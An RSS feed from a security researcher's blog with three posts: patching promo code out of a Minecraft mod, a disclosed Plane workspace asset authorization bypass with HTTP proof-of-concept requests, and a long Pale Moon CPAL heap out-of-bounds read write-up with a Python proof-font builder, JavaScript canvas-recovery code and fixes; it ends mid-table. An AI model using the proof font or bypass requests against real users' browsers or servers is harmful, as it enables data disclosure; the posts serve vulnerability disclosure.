<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>b4r</title><description>Security researcher and CTF player writing about reverse engineering, forensics, web exploitation, and CVE discovery.</description><link>https://baradika.web.id/</link><language>en-us</language><item><title>the xray mod came with ads</title><link>https://baradika.web.id/blog/xtoxray-promo-removal/</link><guid isPermaLink="true">https://baradika.web.id/blog/xtoxray-promo-removal/</guid><description>removing a title screen promo overlay and a join world chat message from a fabric minecraft mod without touching the xray code</description><pubDate>Tue, 27 Oct 2026 00:00:00 GMT</pubDate><content:encoded>![promo card and watermark on the title screen](promo-title.png)

I downloaded XtoXray from Modrinth because I wanted a simple xray mod for a 1.21.5 Fabric instance. It worked. Then I opened the title screen and saw a rotating promo card in the corner.

One slide pushed the mod&apos;s Modrinth page. The other asked me to subscribe to a YouTube channel. The bottom left corner had an `X To Xray` watermark with the mod version.

I could ignore that. Then I joined a world and chat printed this:

```text
[System] [CHAT] Support X To Xray By Joining The Discord Server And Subscribing On Youtube! [Discord] [YouTube]
```

![join message in chat](promo-chat.png)

The chat message was the part that made me open the jar. A Discord link in the mod description is normal. A clickable ad in my chat box every time I load a world is not.

## First look at the jar

The jar is a normal Fabric mod. `fabric.mod.json` lists the main entrypoint and the client entrypoint:

```json
&quot;entrypoints&quot;: {
  &quot;main&quot;: [&quot;com.xtoxray.XtoXray&quot;],
  &quot;client&quot;: [&quot;com.xtoxray.client.XrayToggleHandler&quot;]
}
```

The mixin configs also give away where the title screen code lives. There are three variants, one for each Minecraft range:

```text
xtoxray.title_0_5.mixins.json
xtoxray.title_6_8.mixins.json
xtoxray.title_9_11.mixins.json
```

I decompiled the client classes with CFR and checked the bytecode with `javap`. The promo path is small.

## The title screen promo

Every `MixinTitleScreen` variant calls the same two methods at the tail of the title screen render:

```java
NewsOverlay.render(this, graphics, mouseX, mouseY);
ModBranding.render(this, graphics);
```

`NewsOverlay` draws the rotating card. `NewsManager` holds the slides and reads `config/xtoxray-news.json`. If the file is missing, it writes the defaults.

The defaults are hardcoded:

```java
list.add(new NewsEntry(
    &quot;X To Xray Update&quot;,
    List.of(&quot;Version 2026.28 ist da!&quot;, &quot;Druecke X im Spiel.&quot;),
    0x55FF55,
    &quot;https://modrinth.com/mod/x-to-xray&quot;,
    &quot;xtoxray:textures/gui/news/1.png&quot;
));
list.add(new NewsEntry(
    &quot;YouTube&quot;,
    List.of(&quot;Subscribe!&quot;, &quot;Neue Videos &amp; Tutorials.&quot;),
    0xFF5555,
    &quot;https://www.youtube.com/@RandomPixelStudios&quot;,
    &quot;xtoxray:textures/gui/news/2.png&quot;
));
```

The strings are German even though the rest of the mod is in English. That is a small detail, but it made the defaults easy to find.

`ModBranding` is the bottom left text. It draws `X To Xray` and the mod version.

## The join message

The chat message lives in `XrayToggleHandler.onInitializeClient`. The mod registers a `ClientPlayConnectionEvents.JOIN` callback. The decompiled shape, with the intermediary names cleaned up, is:

```java
ClientPlayConnectionEvents.JOIN.register((handler, sender, client) -&gt; {
    resetXray();

    MutableText discord = Text.literal(&quot;[Discord]&quot;).styled(style -&gt;
        TEXT.openUrlStyle(style, URI.create(&quot;https://discord.gg/CZ9Mr7epqj&quot;))
            .withColor(5793266)
    );

    MutableText youtube = Text.literal(&quot;[YouTube]&quot;).styled(style -&gt;
        TEXT.openUrlStyle(style, URI.create(&quot;https://www.youtube.com/@RandomPixelStudios&quot;))
            .withColor(0xFF0000)
    );

    MutableText msg = Text.literal(
        &quot;Support X To Xray By Joining The Discord Server And Subscribing On Youtube! &quot;
    ).append(discord).append(Text.literal(&quot; &quot;)).append(youtube);

    if (client.player != null) {
        client.player.sendMessage(msg, false);
    }
});
```

The callback also resets the xray state on join. I wanted to keep that part and drop the message.

## Patching the class files

I did not have the mod&apos;s source, so I patched the bytecode with ASM.

The first two changes are no-ops. `NewsOverlay.render` and `ModBranding.render` get a body with a single `return`:

```java
method.instructions.clear();
method.instructions.add(new InsnNode(Opcodes.RETURN));
```

The join callback is a private static lambda method. I replaced its body with the original reset call and a return:

```java
method.instructions.clear();
method.instructions.add(new MethodInsnNode(
    Opcodes.INVOKESTATIC,
    &quot;com/xtoxray/client/XrayToggleHandler&quot;,
    &quot;resetXray&quot;,
    &quot;()V&quot;,
    false
));
method.instructions.add(new InsnNode(Opcodes.RETURN));
```

The rest of the class stays untouched. I rezipped the jar, kept the original as a backup, and dropped the patched jar back into the mods folder.

## Verification

`javap` shows the new bodies:

```text
public static void render(...);
  Code:
    0: return
```

```text
private static void lambda$onInitializeClient$1(...);
  Code:
    0: invokestatic  #362 // Method resetXray:()V
    3: return
```

`unzip -t` passes. The mod still loads. The next world join produced no Discord or YouTube line in the log. The title screen render path returns before it draws the card or the watermark.

The xray code, the veinminer, and the hitbox renderer are not part of the patch. They stay exactly where they were.

The mod can have a Discord. I just do not want it in my chat box every time I load a world. Removing two render calls and one message call was enough.

If a future update brings the promo back, the same three methods are the place to look.</content:encoded><category>reverse engineering</category><category>java</category><category>minecraft</category><category>modding</category><author>b4r</author></item><item><title>workspace asset download bypass in plane</title><link>https://baradika.web.id/blog/plane-cve-2026-104960/</link><guid isPermaLink="true">https://baradika.web.id/blog/plane-cve-2026-104960/</guid><description>CVE-2026-104960 in plane let any workspace member download private files from secret projects they do not belong to through the workspace-scoped asset endpoint</description><pubDate>Mon, 12 Oct 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

Plane 1.3.1 had two download routes for the same file asset. The project-scoped route checked project membership and returned 403 for outsiders. The workspace-scoped route only checked workspace membership and handed back a signed download URL.

- `CVE-2026-104960` (Moderate, CWE-639, CWE-862)
- A workspace guest with no access to a secret project could download that project&apos;s private attachments by calling the workspace route directly with the asset UUID
- Fixed in Plane 1.4.0

I reported this on May 21 and I&apos;m credited as reporter on the advisory.

## The bug

Plane serves file downloads through this workspace-scoped endpoint:

```http
GET /api/assets/v2/workspaces/&lt;workspace_slug&gt;/download/&lt;asset_id&gt;/
```

`WorkspaceAssetDownloadEndpoint.get()` resolves the asset by `id`, `workspace__slug`, and `is_uploaded=True`, then authorizes at workspace scope. For project-bound assets (issue attachments, comment and page descriptions, project covers), it never asks whether the caller belongs to the owning project.

The adjacent project-scoped route does ask:

```http
GET /api/assets/v2/workspaces/&lt;workspace_slug&gt;/projects/&lt;project_id&gt;/download/&lt;asset_id&gt;/
```

Same asset, same workspace, different answer. The authorization model had a gap exactly shaped like the route table: one route scoped by project, the other not.

## Attacker model

- Authenticated
- A member of the victim&apos;s workspace (lowest confirmed role: workspace guest)
- Not a member of the victim secret project
- Knows the target asset UUID

Authenticated users outside the workspace are denied outright, so this stays inside the workspace boundary. It breaks the project boundary within it.

## Proof of concept

Set up a workspace with an attacker (workspace only) and a victim (member of a secret project holding an uploaded `ISSUE_ATTACHMENT`). As the attacker, request the project-scoped route first:

```http
GET /api/assets/v2/workspaces/&lt;workspace_slug&gt;/projects/&lt;secret_project_id&gt;/download/&lt;victim_asset_id&gt;/
```

Response: `403`. Correct.

Then request the workspace-scoped route for the same asset:

```http
GET /api/assets/v2/workspaces/&lt;workspace_slug&gt;/download/&lt;victim_asset_id&gt;/
```

Response: `302` with a signed download URL for the victim&apos;s file.

The regression test I wrote against the Plane 1.3.1 source tree pins this down:

```python
exploit_response = session_client.get(self.get_workspace_download_url(workspace.slug, victim_asset.id))
&gt; assert exploit_response.status_code == 403
E assert 302 == 403
E  + where 302 = &lt;HttpResponseRedirect ... url=&quot;https://signed.example/victim-secret.txt&quot;&gt;.status_code
```

The negative control matters here. The project-scoped route denies the same caller for the same asset, so this is not a test setup artifact: the server knows how to say no and one route simply never asks.

## Impact

Secret projects in Plane exist so workspace members outside the project cannot see its content. This bug let any workspace member pull file-backed private content (attachments, descriptions, covers) out of those projects with nothing but the asset UUID.

CVSS 3.1 vector: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`: network-reachable, low complexity, low privileges, no user interaction, high confidentiality impact, no integrity or availability impact.

Out of scope for this report: unauthenticated access, integrity impact, and anything outside the four confirmed project-bound asset types.

## The fix

Patched in Plane 1.4.0. Conceptually the fix is what you would expect: the workspace-scoped handler now has to resolve the asset&apos;s owning project and enforce membership there, the same question the project-scoped route already asked.

The broader lesson, which I keep running into across projects: when two routes serve the same object at different scopes, the broader route needs every check the narrower one has, plus its own. A workspace check is not a project check, the same way a tenant check is not an object check. Convenience routes that skip a path segment tend to skip the authorization that lived in it.

## Timeline

- **May 21, 2026**: Opened the private report, added as collaborator and credited reporter
- **May 23, 2026**: Accepted the reporter credit
- **Aug 3, 2026**: Report accepted by the Plane team, CVE requested
- **Sep 28, 2026**: Advisory GHSA-wrrw-wvfv-67h7 published
- **Oct 2026**: CVE-2026-104960 assigned

## References

- [GHSA-wrrw-wvfv-67h7](https://github.com/makeplane/plane/security/advisories/GHSA-wrrw-wvfv-67h7)
- [CVE-2026-104960 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2026-104960)</content:encoded><category>vulnerability</category><category>cve</category><category>authorization</category><author>b4r</author></item><item><title>heap out-of-bounds read in pale moon cpal parser</title><link>https://baradika.web.id/blog/palemoon-cpal-oob-read/</link><guid isPermaLink="true">https://baradika.web.id/blog/palemoon-cpal-oob-read/</guid><description>a missing bound check in pale moon CPAL validation lets a web font read past its heap allocation and leak the bytes through canvas pixels</description><pubDate>Wed, 30 Sep 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

Pale Moon validates the `CPAL` color palette table in `gfxFontUtils::ValidateColorGlyphs()`. The validation checks a consistency relation between three header fields, but one of those fields is independently attacker controlled. Setting `numPalettes` to zero forces `numColorRecords` to zero, which makes the array size check vacuous. A later check validates `paletteEntryIndex` against `numPaletteEntries` instead of the real array size `numColorRecords`, so an index valid for a 65535 entry array is accepted for an array that is required to contain zero entries.

The read that follows runs past a dedicated heap allocation holding the `CPAL` table. The four bytes it reads are used as an RGBA color, propagated into `ColorPattern`, and rasterized as the glyph fill. Because a web page can read its own canvas pixels, the out of bounds values are recoverable by JavaScript via `getImageData()`.

Two facts bound this finding and are stated up front. The attacker controls the read offset but does not control what is read: a donor font experiment intended to place attacker chosen bytes immediately after the victim allocation failed, so the disclosed content is browser internal heap structure. And no crash was observed at any tested offset, including the maximum reachable one, so this is a silent read and not a denial of service primitive.

**Target:** Pale Moon 35.0.1 (Linux x86-64), UXP revision `e59e88bfd59f37fabc15b30ec304f90a410c751f`, release tag `RB_20260922`, BuildID `20260921224855`. Heap out-of-bounds read, read-only, no write primitive.

## 1. Background: what COLR and CPAL are

Color fonts such as emoji fonts and many decorative fonts are built from two OpenType tables.

| Table | Purpose |
|---|---|
| `COLR` | Maps glyph IDs to colored layers |
| `CPAL` | Color palette: an array of 4 byte `ColorRecord` values |

The `CPAL` v0 header is 12 bytes, packed:

```c
struct CPALHeaderVersion0 {
    AutoSwap_PRUint16    version;
    AutoSwap_PRUint16    numPaletteEntries;
    AutoSwap_PRUint16    numPalettes;
    AutoSwap_PRUint16    numColorRecords;
    AutoSwap_PRUint32    offsetFirstColorRecord;
};
```

and the array element is:

```c
struct CPALColorRecord {
    uint8_t              blue;
    uint8_t              green;
    uint8_t              red;
    uint8_t              alpha;
};
```

`numColorRecords` is the real array size. `numPaletteEntries` and `numPalettes` are metadata that are meant to satisfy the relation `numColorRecords == numPaletteEntries * numPalettes`. Treating that relation as a safety check is the root of the problem.

Pale Moon uses its own Goanna rendering engine, but this color glyph code is inherited Mozilla code living in `gfx/thebes/`. That distinction matters for the upstream comparison in section 10.

## 2. The sanitizer does not cover these tables

The natural first question is whether the OpenType Sanitizer already filters malformed `CPAL` data. It does not, because UXP explicitly configures OTS to pass `COLR` and `CPAL` through without validation.

`gfx/thebes/gfxUserFontSet.cpp`:

```c
  virtual ots::TableAction GetTableAction(uint32_t aTag) override {
    // Preserve Graphite, color glyph and SVG tables
    if (aTag == TRUETREE_TAG(&apos;G&apos;, &apos;D&apos;, &apos;E&apos;, &apos;F&apos;) ||
        aTag == TRUETREE_TAG(&apos;G&apos;, &apos;P&apos;, &apos;O&apos;, &apos;S&apos;) ||
        aTag == TRUETREE_TAG(&apos;G&apos;, &apos;S&apos;, &apos;U&apos;, &apos;B&apos;) ||
        aTag == TRUETREE_TAG(&apos;S&apos;, &apos;V&apos;, &apos;G&apos;, &apos; &apos;) ||
        aTag == TRUETREE_TAG(&apos;C&apos;, &apos;O&apos;, &apos;L&apos;, &apos;R&apos;) ||
        aTag == TRUETREE_TAG(&apos;C&apos;, &apos;P&apos;, &apos;A&apos;, &apos;L&apos;)) {
      return ots::TABLE_ACTION_PASSTHRU;
    }
    return ots::TABLE_ACTION_DEFAULT;
  }
```

`TABLE_ACTION_PASSTHRU` routes the table to `TablePassthru`, which stores a raw pointer and copies the bytes back out verbatim (`gfx/ots/src/ots.cc`):

```c
bool TablePassthru::Parse(const uint8_t *data, size_t length) {
  m_data = data;
  m_length = length;
  return true;
}

bool TablePassthru::Serialize(OTSStream *out) {
    if (!out-&gt;Write(m_data, m_length)) {
    return Error(&quot;Failed to write table&quot;);
  }

  return true;
}
```

There is no `CPAL` or `COLR` parser anywhere in the bundled OTS:

```text
$ grep -rn &quot;COLR\|CPAL&quot; gfx/ots/src/ gfx/ots/include/
(no matches)
```

I verified this empirically rather than by reading alone. I compiled the OTS sources from the audited UXP tree, wired up a faithful replica of `gfxOTSContext`, and ran the real sanitizer over the PoC font:

```text
===== OTS Process() -&gt; SUCCESS =====
COLR byte-identical to input: YES (passthru)
CPAL byte-identical to input: YES (passthru)
```

The attacker chosen `CPAL` bytes reach the validator unmodified. UXP&apos;s own validator is the only gate.

## 3. The flaw

`gfxFontUtils::ValidateColorGlyphs()` at `gfx/thebes/gfxFontUtils.cpp:1611`. The relevant block:

```c
  if (offsetFirstColorRecord &gt;= cpalLength) {
    return false;
  }

  if (!numPaletteEntries) {
    return false;
  }
  ...
  if (sizeof(CPALColorRecord) * numColorRecords &gt;
          cpalLength - offsetFirstColorRecord) {
    // CPAL color record will be overflow
    return false;
  }

  if (numPaletteEntries * uint16_t(cpal-&gt;numPalettes) != numColorRecords ) {
    // palette of CPAL color record will be overflow.
    return false;
  }
```

followed by the layer loop:

```c
  for (uint16_t i = 0; i &lt; numLayerRecords; i++, layer++) {
    if (uint16_t(layer-&gt;paletteEntryIndex) &gt;= numPaletteEntries &amp;&amp;
        uint16_t(layer-&gt;paletteEntryIndex) != 0xFFFF) {
      // CPAL palette entry record is overflow
      return false;
    }
  }
```

and the out of bounds read in `GetColorGlyphLayers()` at line 1792:

```c
    if (uint16_t(layer-&gt;paletteEntryIndex) == 0xFFFF) {
      aColors.AppendElement(aDefaultColor);
    } else {
      const CPALColorRecord* color =
          reinterpret_cast&lt;const CPALColorRecord*&gt;(
              reinterpret_cast&lt;const uint8_t*&gt;(cpal) +
              offsetFirstColorRecord +
              sizeof(CPALColorRecord) * uint16_t(layer-&gt;paletteEntryIndex));
      aColors.AppendElement(mozilla::gfx::Color(color-&gt;red / 255.0,
                                                color-&gt;green / 255.0,
                                                color-&gt;blue / 255.0,
                                                color-&gt;alpha / 255.0));
    }
```

### Why the checks do not hold

The consistency check at line 1672 is not a bound check. Its left hand side is `numPaletteEntries * numPalettes`. Since `numPaletteEntries` is already guaranteed non-zero by the earlier check, the only way to make the product zero is `numPalettes == 0`. When that is set:

1. The consistency check forces `numColorRecords` to zero.
2. The size check on line 1666 becomes vacuous, because `4 * 0 &gt; x` is false for every `x`. No color record is required to exist.
3. The layer loop still compares `paletteEntryIndex` against `numPaletteEntries`, which the attacker may set to any non-zero value up to `0xFFFF`.

An index valid for a 65535 entry array is therefore accepted for an array that must contain zero entries. The read then walks forward from the end of a small allocation by up to `4 * 0xFFFE` bytes.

`0xFFFF` is the OpenType sentinel meaning &quot;use the text foreground color&quot;, and that branch performs no read. The maximum usable index for the vulnerable path is `0xFFFE`.

This is the only trigger. Forcing the size check to be vacuous requires `numColorRecords == 0`, and given `numPaletteEntries != 0`, that requires `numPalettes == 0`. There is no second path.

## 4. Reachability from a web page

```text
HTML @font-face
  -&gt; gfxUserFontEntry::SanitizeOpenTypeData        (OTS passthru for COLR/CPAL)
  -&gt; gfxFontEntry::GetFontTable(&apos;COLR&apos;/&apos;CPAL&apos;)     (dedicated nsTArray allocation)
  -&gt; gfxFontEntry::TryGetColorGlyphs()             (no pref gate)
  -&gt; gfxFontUtils::ValidateColorGlyphs()           (accepts the malformed CPAL)
  -&gt; gfxFont::DrawGlyphs        gfxFont.cpp:2057
  -&gt; gfxFont::DrawGlyph         gfxFont.cpp:1855
  -&gt; gfxFont::RenderColorGlyph  gfxFont.cpp:2243
  -&gt; gfxFontEntry::GetColorLayersInfo  gfxFontEntry.cpp:960
  -&gt; gfxFontUtils::GetColorGlyphLayers
  -&gt; out-of-bounds CPAL color-record read          gfxFontUtils.cpp:1792
  -&gt; ColorPattern / DrawTarget::FillGlyphs
  -&gt; rendered glyph pixels
  -&gt; canvas getImageData()
```

Two properties make this reachable from ordinary web content with no configuration.

**No preference gate.** `gfxFontEntry::TryGetColorGlyphs()` at `gfxFontEntry.cpp:409` performs no `StaticPrefs` check. Contrast this with SVG glyph handling, which is gated behind `gfxPlatform::GetPlatform()-&gt;OpenTypeSVGEnabled()`.

**The `CPAL` blob is its own allocation.** `GetFontTable()` copies the table into a sized `nsTArray&lt;uint8_t&gt;`, so the out of bounds window is relative to a small attacker influenced allocation rather than a view into a larger font buffer:

```c
gfxFontEntry::GetFontTable(uint32_t aTag)
{
  hb_blob_t *blob;
  if (GetExistingFontTable(aTag, &amp;blob)) {
    return blob;
  }

  nsTArray&lt;uint8_t&gt; buffer;
  bool haveTable = NS_SUCCEEDED(CopyFontTable(aTag, buffer));

  return ShareFontTableAndGetBlob(aTag, haveTable ? &amp;buffer : nullptr);
}
```

## 5. Building the proof font

A 16 byte `CPAL` is enough to trigger the condition:

```python
CPAL = struct.pack(&quot;&gt;HHHHI&quot;,
    0,        # version
    0xFFFF,   # numPaletteEntries  (non-zero, passes the first guard)
    0,        # numPalettes        &lt;- trigger
    0,        # numColorRecords    &lt;- forced to 0 by the consistency check
    12,       # offsetFirstColorRecord (must be &lt; cpalLength)
)
CPAL += b&quot;\x00\x00\x00\x00&quot;   # padding so the offset check passes
```

producing 16 bytes: `0000ffff000000000000000c00000000`

The `COLR` table needs one base glyph record and one layer record. The layer record&apos;s `paletteEntryIndex` selects the read offset. I built a variant that puts a distinct index on each of 64 glyphs so that a single render pass yields 64 independent reads:

```python
base_recs = b&quot;&quot;
layer_recs = b&quot;&quot;
for i in range(n):
    gid = i + 1
    pei = (start + i * step) &amp; 0xFFFF
    if pei == 0xFFFF:
        pei = 0xFFFE
    base_recs += struct.pack(&quot;&gt;HHH&quot;, gid, i, 1)   # glyphId, firstLayerIndex, numLayers
    layer_recs += struct.pack(&quot;&gt;HH&quot;, gid, pei)    # glyphId, paletteEntryIndex
```

Glyphs are drawn as solid filled rectangles. This matters for measurement: a large uniform interior gives a pixel whose value is exactly the fill color with no antialiasing at the sample point.

`COLR` and `CPAL` are not validated by OTS, so both survive sanitization intact and reach `ValidateColorGlyphs()` as authored.

## 6. The disclosure channel

The interesting property of this bug is not only that it reads out of bounds. It is that the read result becomes observable to the attacking page.

The four bytes are interpreted as blue, green, red, alpha, divided by 255.0, and used as the glyph fill via `ColorPattern` in `FillGlyphs`. A page that draws text with the font onto a canvas can then read those pixels back.

### Recovering exact bytes despite alpha blending

The complication is that the source color has an alpha channel, so the rendered pixel is a blend against the canvas background. Rendering the same text twice, once on white and once on black, and solving two equations recovers the original values exactly.

For a source channel `c` with alpha `a`:

```text
over white:  out_w = round(c * a / 255) + (255 - a)
over black:   out_b = round(c * a / 255)
```

Subtracting eliminates `c`:

```text
a   = 255 - (out_w - out_b)
c   = round(out_b * 255 / a)
```

In JavaScript:

```javascript
function recover(ow, ob) {
  var a = 255 - (ow[0] - ob[0]);
  if (a &lt;= 0 || a &gt; 255) return { err: 1 };
  if (255 - (ow[1] - ob[1]) !== a || 255 - (ow[2] - ob[2]) !== a) return { err: 2 };
  var r = Math.round(ob[0] * 255 / a),
      g = Math.round(ob[1] * 255 / a),
      b = Math.round(ob[2] * 255 / a);
  return { a: a, c: [r, g, b] };
}
```

The two background passes also cross validate each other: the three channels must agree on the same `a`, otherwise the sample is rejected rather than reported. Recovery is exact when `a &gt;= 0x80` and degrades by about 2 LSB below that, which is a limitation of 8 bit output quantization rather than of the method.

### Controls

Two control fonts establish that the channel carries the exact bytes and not an approximation.

| Font | Planted bytes | Recovered via `getImageData()` |
|---|---|---|
| `valid.ttf` record 0 | `00 00 00 ff` | `000000ff` |
| `valid.ttf` record 1 | `01 07 0d ff` | `01070dff` |
| `valid.ttf` record 2 | `02 0e 1a ff` | `020e1aff` |
| `mark.ttf` cell 0 | `de ad be ef` | `deadbeef` |
| `oob0.ttf` cell 0 | `00 01 02 fe` | `000102fe` |

The full eight record control matched on every value:

```text
expected (blue,green,red,alpha) = 000000ff.01070dff.020e1aff.031527ff.041c34ff.052341ff.062a4eff.07315bff
observed                        = 000000ff.01070dff.020e1aff.031527ff.041c34ff.052341ff.062a4eff.07315bff
MATCH
```

Each glyph measured exactly 6400 pixels, confirming full interior coverage with no antialiasing contamination at the sample point.

With the malformed font, cell 0 is in bounds and returns its planted value, while cells 1 and beyond return values that are not present anywhere in the `CPAL` blob. That divergence is the signature of the out of bounds read.

## 7. Evidence

### Stock binary

All browser level results come from the official Pale Moon 35.0.1 Linux x86-64 release binary, BuildID `20260921224855`, run with a fresh default profile. ASan and the standalone OTS build are supporting root cause evidence, not the basis for any browser level claim.

The validator accepting the malformed font was confirmed directly under gdb, with breakpoints placed after `libxul.so` loads:

```text
!!!RESULT libxul base=0x7fffedc00000
!!!ARMED
!!!HIT TryGetColorGlyphs:GetFontTable(COLR) #1
!!!HIT gfxFontUtils::ValidateColorGlyphs #1
!!!HIT ValidateColorGlyphs RETURNED TRUE #1
!!!HIT ValidateColorGlyphs RETURNED TRUE #2
!!!HIT ValidateColorGlyphs RETURNED TRUE #3
```

The flawed logic is present in the shipped binary. Disassembly of `libxul.so` shows the multiplication and comparison that correspond to the consistency check:

```text
123e8ba:  lea    (%r12,%r12,2),%r13     ; 6 * numBaseGlyphRecord
123e8d7:  lea    0x0(,%r14,4),%r15      ; 4 * numLayerRecords
123e8f3:  shl    $0x2,%r15
123e90a:  imul   %r11d,%ecx             ; numPaletteEntries * numPalettes
123e90e:  cmp    %edx,%ecx              ; != numColorRecords
```

The browser also confirmed internally that the font was genuinely loaded and applied, not merely fetched, by beaconing font state out to a local server:

```text
faces=&quot;POCR&quot;:loaded
check=true
fontwidth=940 / fallbackwidth=240 / widths_differ=true
visibilityState=visible, hidden=false, raf_ticks_final=40
```

The `raf_ticks` counter confirms the page was actually painting while sampling, so the color path was executing rather than deferred.

### ASan

Compiling verbatim copies of `ValidateColorGlyphs()` and `GetColorGlyphLayers()` under AddressSanitizer with a minimal shim for `hb_blob_t` and `nsTArray`:

```text
COLR blob = 24 bytes, CPAL blob = 16 bytes
ValidateColorGlyphs() -&gt; true (ACCEPTED)
calling GetColorGlyphLayers(glyph=1) ...
=================================================================
==332078==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ba4a45e004f
READ of size 1 at 0x7ba4a45e004f thread T0
    #0 gfxFontUtils::GetColorGlyphLayers(...) harness.cpp:267
```

With `paletteEntryIndex` set to `0xFFFE` the same function takes a wild read and faults:

```text
AddressSanitizer: SEGV on unknown address 0x000000000018
The signal is caused by a READ memory access.
```

The well formed control font produces no sanitizer report and returns the correct in bounds color, confirming the harness is not simply reporting a false positive on any `CPAL` input.

## 8. Reproducibility

The disclosure is deterministic in this environment. The table below is the 30 run study, 64 cells per run, one cell per glyph, each reading a distinct offset from the 16 byte `CPAL` allocation.

| Metric | Result |
|---|---|
| Independent browser runs | 30 |
| Cells per run | 64 |
| In bounds control cells | 1 |
| Out of bounds cells per run | 63 |
| Individual OOB reads reproduced | 1890 / 1890 |
| OOB offsets identical across all 30 runs | 63 / 63 |
| Runs with a crash or unmapped read | 0 / 30 |
| Runs with no disclosure | 0 / 30 |

The disclosed values showed a 64 byte periodic structure, with cells 30 through 35 repeating identically at cells 46 through 51.

The read range was mapped experimentally. A contiguous sweep of 64 cells at stride 1 covered offsets 12 through 264. A strided sweep with `paletteEntryIndex` stepping by 1024 covered offsets 12 through 258060, roughly 252 KB past a 16 byte allocation. A final sweep placed all 64 cells at the maximum indices `0xFFBF` through `0xFFFE`, reading offsets 262088 through 262148. All 64 reads succeeded with no fault and no browser crash.

I also tested a variant with a 4 MB `CPAL` and `offsetFirstColorRecord` placed near the end, which pushes reads about 256 KB past a 4 MB allocation. That also completed without a crash.

The practical conclusion is that the window stays inside mapped heap across the full range reachable by the primitive. The read is silent. It is not a denial of service.

## 9. What this is not

Stating the boundaries precisely, because the primitive is easy to overstate.

**The attacker controls the offset, not the disclosed bytes.** The control experiment above proves the channel carries attacker chosen bytes byte for byte, but only for addresses inside the `CPAL` allocation. For the out of bounds window the situation is different. I built donor fonts carrying unique canary patterns (`11223344`, `a1b2c3d4`, `e5f60718`) with distinct internal family names to defeat font cache deduplication, and attempted three placement strategies: a 16 byte donor, a 60 byte donor, and two 64 byte donors. The intent was to land donor controlled data in the victim&apos;s forward read window. In all three cases the canary never appeared in the victim&apos;s OOB window. The memory immediately following the `CPAL` allocation is browser internal structure, and its contents were identical whether the blob was 16 bytes or 60 bytes.

**The disclosed content is low entropy internal heap structure.** The recovered values look like small integers and packed fields, consistent with internal display or font data structures. No pointer, no session data, no credential, no cookie, and no JavaScript string was recovered in any run. Whether a sufficiently motivated attacker could steer the allocation pattern to place a more valuable object in the window is untested and I make no claim either way.

**There is no write primitive.** The out of bounds access is a read. There is no adjacent write, no type confusion, no controlled vtable, and no heap overlap.

**There is no execution path.** Values are divided by 255.0 before use, so the range reaching the graphics layer is finite in `[0.0, 1.0]` and cannot produce NaN or infinity. The only consumer is `ColorPattern` in `FillGlyphs`; the value is never used as a pointer, length, offset, or secondary index. There is no information to write bridge.

**No crash was demonstrated.** Across 30 runs, the 252 KB strided sweep, the maximum index sweep, and the 4 MB `CPAL` variant, the browser never faulted.

Accordingly this is not an arbitrary memory read, not arbitrary address access, not a process memory disclosure primitive, and not an ASLR bypass. It is a bounded forward out of bounds read relative to one small allocation.

## 10. Version status

| Ref | Commit | Date | Status |
|---|---|---|---|
| `RB_20260922` (35.0.1) | `e59e88bfd59f` | 2026-09-21 | vulnerable |
| `release` branch | `e59e88bfd59f` | 2026-09-21 | vulnerable |
| `master` | `2b146b356c71` | 2026-09-27 | vulnerable |

`RB_20260922` is still the newest release tag, so master is post 35.0.1 development. I reviewed all 50 commits between the release base and current master. None touch `COLR` or `CPAL`. The relevant region of `gfxFontUtils.cpp` and the OTS passthru list in `gfxUserFontSet.cpp` are byte identical between the two revisions, confirmed by diff.

The flaw is inherited rather than introduced by UXP. The same logic appears in the 2018 bulk import commit `5f8de423f190bbb79a62f804151bc24824fa32d8` (&quot;Add m-esr52 at 52.6.0&quot;) at the then lines 1660, 1696, and 1779, and `git log -S` on the exact condition shows no UXP commit has ever modified it.

### Upstream context

Upstream Mozilla rewrote this code into `gfx/thebes/COLRFonts.cpp` as part of COLRv1 support (bug 1740530) and its current validation reads:

```c
  if (!numPaletteEntries || !numPalettes ||
      numColorRecords &lt; numPaletteEntries) {
    return false;
  }
```

That form rejects `numPalettes == 0` outright and also guards `numColorRecords &lt; numPaletteEntries`, closing this class of issue. UXP never received that refactor; `gfx/thebes/COLRFonts.cpp` does not exist in the UXP tree at all, and UXP contains neither the `!numPalettes` rejection nor the `numColorRecords` check. UXP also diverges from upstream in directing OTS to pass `COLR` and `CPAL` through, so its own validator is the only gate. The result is an unpatched inherited validation gap rather than a UXP specific design error.

No exact duplicate was found: UXP tracker searches for `CPAL`, `COLR`, `ValidateColorGlyphs`, and `numPalettes` returned no security report, and the closest known issue (Mozilla Bug 1786002) is a different out of bounds read on the palette indices array, not the color record read described here.

## 11. Suggested fix

The invariant to enforce is that for every layer whose `paletteEntryIndex` is not the `0xFFFF` sentinel, the four byte read at `offsetFirstColorRecord + 4 * paletteEntryIndex` lies entirely within the `CPAL` blob. The recommended fix enforces that directly:

```c
  for (uint16_t i = 0; i &lt; numLayerRecords; i++, layer++) {
    if (uint16_t(layer-&gt;paletteEntryIndex) == 0xFFFF) {
      // Sentinel: use the text foreground color, no CPAL access.
      continue;
    }
    if (uint16_t(layer-&gt;paletteEntryIndex) &gt;= numColorRecords) {
      // Palette entry record is out of bounds.
      return false;
    }
  }
```

Bounding the index against `numColorRecords`, the actual array size, rather than against `numPaletteEntries`, removes the dependency on the consistency relation between independent header fields. This is the fix that directly enforces the memory safety invariant, and it matches the direction upstream converged on when it added a palette size check at the read site.

Ordering matters. The `0xFFFF` sentinel must be handled before the bound test, otherwise a legitimate sentinel layer in a font with fewer than 65535 records would be rejected.

A complementary fix is to reject an empty palette table before the color record validation:

```c
  if (!uint16_t(cpal-&gt;numPalettes)) {
    return false;
  }
```

This is worth having as defense in depth and for spec compliance, but on its own it closes the bug only incidentally. It works because `numPalettes == 0` happens to be the sole trigger for the vacuous size check. It is a consistency guard, not a bounds guard, so it would not protect against a future edit that made the size check vacuous by a different route.

### Regression verification

A full patched Pale Moon browser build was not performed. The UXP build tooling (`mach`, `mozbuild`) was unavailable in the audit environment and the build exceeded available disk and time. The regression evidence below is function level, against verbatim copies of the validator with each candidate fix applied.

```text
font           expected  orig     fix1     fix2     both
-----------------------------------------------------------------
oob0.ttf       REJECT    ACCEPT   REJECT   REJECT   REJECT
